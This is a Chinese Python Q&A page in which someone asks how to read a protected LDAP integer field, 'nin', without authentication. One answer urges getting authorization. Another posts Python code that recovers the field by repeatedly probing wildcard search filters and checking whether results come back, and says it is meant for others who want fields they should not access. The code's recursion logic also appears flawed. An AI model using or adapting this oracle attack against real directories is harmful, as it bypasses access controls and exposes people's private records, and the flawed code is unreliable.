基于python的ldap中不可访问数据字段的二进制搜索

2024-09-28 17:31:26 发布

您现在位置:Python中文网/ 问答频道 /正文

我对复制一个特定的python脚本感兴趣。在

我有一个朋友正在访问ldap数据库,没有经过身份验证。有一个特定的感兴趣的字段,我们称之为nin(一个整数)作为参考,如果没有适当的身份验证,这个字段是不可访问的。然而,我的朋友通过对数据的某种二进制搜索(而不是仅仅循环遍历整数)来访问这个字段;他会检查第一个数字,检查它是否大于或小于起始值,他会增加这个值,直到它返回一个表示存在的真值,加上数字,继续检查,直到他找到整数nin的确切值。在

你知道他是怎么做的吗?我可以访问一个类似的数据库。在


Tags: 数据脚本身份验证数据库二进制朋友数字整数
2条回答

最好的办法是获得访问该字段的授权。否则,您将规避数据库的安全性。在

明白了。只需对结果进行修正(&nin filter,I=guess)。在

下面的代码是为了防止其他人需要找到他们不应该访问的字段,但是可以检查结果并知道其名称。在

def lookup(self, username="", guess=0,verbose=0):
        guin = guess
        result_set = []
        varsearch = "(&(name=" + str(username) + ")(" + "nin" + "=" + str(guin) + "*))"
        result_id = self.l.search("", ldap.SCOPE_SUBTREE, varsearch, ["nin"])
        while True:
            try:
                result_type, result_data = self.l.result(result_id, 0, 5.0)
                if (result_data == []):
                    break
                else:
                    if result_type == ldap.RES_SEARCH_ENTRY:
                        result_set.append(result_data)
            except ldap.TIMEOUT:
                return {"name": username}
        if len(result_set) == 0:
            return self.lookup(username, guin + 1,verbose)
        else:
            if guess < 1000000:
                return self.lookup(username, guess * 10,verbose)
            else:
                if verbose==1:
                    print "Bingo!",
                return str(guess)

相关问题 更多 >